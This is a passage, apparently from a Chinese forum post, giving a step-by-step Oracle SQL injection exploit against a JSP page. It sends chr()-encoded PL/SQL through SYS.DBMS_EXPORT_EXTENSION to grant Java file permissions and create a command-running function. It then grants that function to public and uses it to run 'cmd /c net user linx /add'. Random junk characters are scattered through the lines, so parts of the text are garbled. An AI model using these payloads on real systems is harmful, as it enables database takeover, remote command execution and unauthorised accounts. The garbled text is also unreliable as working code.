chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||4 r5 }* k: _) ~ {: h
chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||
& m) n, v. T2 B6 i- g: [chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||9 J/ y5 {* f0 U/ m" C, Z, `4 o
chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||: l$ B' K& o+ L7 C3 `* M" V
chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(101)||% f* O1 {& h" c, U
chr(97)||chr(100)||chr(70)||chr(105)||chr(108)||chr(101)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(102)||chr(105)||chr(108)||chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(123)||chr(116)||chr(114)||chr(121)||chr(123)||chr(66)||chr(117)||
c! q& B4 w" Wchr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||chr(66)||chr(117)||chr(102)||* c) K6 A/ j6 s: W6 Z" o
chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(70)||chr(105)||chr(108)||chr(101)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(102)||chr(105)||chr(108)||
9 d6 ]4 Z, D6 Q0 Xchr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(41)||chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||
1 _; |" k( Z" @+ zchr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||
, \! U5 } S5 Tchr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||! t( q9 R3 a) C9 @5 q- o. W
chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||2 Y2 q3 I' q6 ]& o$ T* h
chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||
. E% T/ v8 `5 Tchr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(125)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
' {# ?+ Z/ E0 b- Z7 U: _* g( |,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual- R* B! A% ]" z2 Y' l; `2 t% ^5 i8 S
3 k" ^; S! O- ?. u; @) n% W)
) g6 Z/ R: j- z& D$ r3 C+ }# [ v5 G" p9 V8 c7 a. }
------------------------------
. k2 B; ~1 S7 z; H/ {0 _! r) \5 O1 t. @( F6 w9 e: s
2.赋Java权限% W$ S) ^& Z: l* \! W, A
/xxx.jsp?id=1 and chr(49)<>chr(50)||(8 F3 M1 z: u- B5 k& ]
0 T1 U: Z! p# K: X/ M5 K; r/ Q
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),2 j; W p# m) W$ z# f
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||' V3 O( K5 ?6 A; z, h5 p
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||9 Q8 I( n& I! I8 V8 N( J
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||$ H, h l h) ?/ d
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(98)||chr(101)||chr(103)||chr(105)||chr(110)||chr(32)||chr(100)||chr(98)||chr(109)||chr(115)||chr(95)||chr(106)||chr(97)||chr(118)||chr(97)||; q. k" D, x2 f: F
chr(46)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(95)||chr(112)||chr(101)||chr(114)||chr(109)||chr(105)||chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(40)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(80)||chr(85)||chr(66)||chr(76)||chr(73)||chr(67)||chr(39)||
* |/ U; _" D, P- p* hchr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(83)||chr(89)||chr(83)||chr(58)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(105)||chr(111)||chr(46)||chr(70)||chr(105)||chr(108)||chr(101)||chr(80)||chr(101)||chr(114)||chr(109)||chr(105)||
$ V4 z3 Z# G' Uchr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(39)||chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(60)||chr(60)||chr(65)||chr(76)||chr(76)||chr(32)||chr(70)||chr(73)||chr(76)||chr(69)||chr(83)||chr(62)||chr(62)||chr(39)||chr(39)||$ M% [/ D1 o$ |! c
chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(101)||chr(120)||chr(101)||chr(99)||chr(117)||chr(116)||chr(101)||chr(39)||chr(39)||chr(39)||chr(39)||chr(41)||chr(59)||chr(101)||chr(110)||chr(100)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||
. l2 n+ c) X6 h' bchr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
) k. K' T4 G$ M,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual; k N0 l; Z$ a$ t
. `# r$ X; @$ M- W9 p)
) K; B8 r* A: H1 g- Z
6 _+ N" N( n% `readfile函数的ascii版就不写了,见谅。
4 l. `+ }$ @9 h+ W- d% t5 b# ?4 k1 e7 h6 N P* K/ l
3.创建函数: i# P/ F j3 g
4 x/ \, L) G: Z( [- uselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),; y5 ]8 }- E v+ h7 D' K' D
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
& j# V! ~9 |; b, Q3 Lchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
: a0 S" n$ j, ~* e& h' n, A. schr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||0 H& t+ q$ U) J1 B c
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||chr(108)||chr(97)||
% j& Q: s9 t6 O" c3 ^5 S, ~chr(99)||chr(101)||chr(32)||chr(102)||chr(117)||chr(110)||chr(99)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(112)||chr(95)||chr(99)||chr(109)||chr(100)||chr(32)||chr(105)||
+ m& _, B& J* j I+ Cchr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(41)||chr(32)||chr(32)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(32)||chr(32)||) m$ q* N% V1 L7 A
chr(97)||chr(115)||chr(32)||chr(108)||chr(97)||chr(110)||chr(103)||chr(117)||chr(97)||chr(103)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(110)||chr(97)||chr(109)||chr(101)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(76)||chr(105)||chr(110)||chr(120)||& q& n1 A5 o, |$ w7 U/ z( @# Z
chr(85)||chr(116)||chr(105)||chr(108)||chr(46)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(108)||chr(97)||chr(110)||chr(103)||chr(46)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(41)||chr(32)||
& R4 d5 U" B/ S% Pchr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(39)||chr(39)||chr(39)||chr(39)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||, J8 g6 i2 P: C" q, O' {
chr(59)||chr(45)||chr(45)9 X- v1 D/ u( c4 h8 {, H( M
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual$ h+ o @( f4 \% B5 }( q
9 Z( R6 Z7 G0 m0 K9 M7 ^& a9 b7 t. y( L2 {7 }; G) E& N
. S! y! D9 u6 A8 a/ h0 l; y2 j4.赋public执行函数的权限
0 o# y8 ?/ k& \1 B
# H: w* B! o8 h# a# v- Oselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),& c3 j" f4 @3 n8 B4 r1 p" n" p, J4 ~
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
) x0 Y: ~( g: @* R7 ?chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||+ O- G7 y$ |# z+ Z
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||) ^) [/ J6 y4 w5 r. y! u3 N
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(32)||chr(97)||chr(108)||chr(108)||chr(32)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||
; \. l. C" K; P Fchr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(32)||chr(116)||chr(111)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||2 P2 ]$ y' n8 E( f4 N
chr(59)||chr(45)||chr(45)6 q. K$ V; N+ ?5 X; t
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
! m' y7 f" [ C: ^' y8 |
1 t' S0 g6 C3 J
8 i* `. a: ]) [! k* T# o7 C0 J& A, Q- p4 E8 V9 v
5.执行命令:
$ R% [" J+ b4 t* c6 o4 K% o9 C
" b; Z% G1 K+ @/xxx.jsp?id=1 and chr(49)<>chr(32)||(! t7 V+ R9 J- T0 D5 o
select sys.LinxRunCMD('cmd /c net user linx /add') from dual# m& X9 F B/ Q+ Z* E
)
: S8 d- G" o2 f
5 Z5 ^6 U& C) F& N$ C- `即
n1 Y- e8 U" f" {/xxx.jsp?id=1 and chr(49)<>chr(32)||(
$ k* U: T7 S5 ]! `" o- n) x- jselect sys.LinxRunCMD(chr(99)||chr(109)||chr(100)||chr(32)||chr(47)||chr(99)||chr(32)||chr(110)||chr(101)||chr(116)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(32)||chr(47)||chr(97)||chr(100)||chr(100)) from dual
% Q1 z3 [% d- w1 q)$ g' e, c& `# M- Z# i
|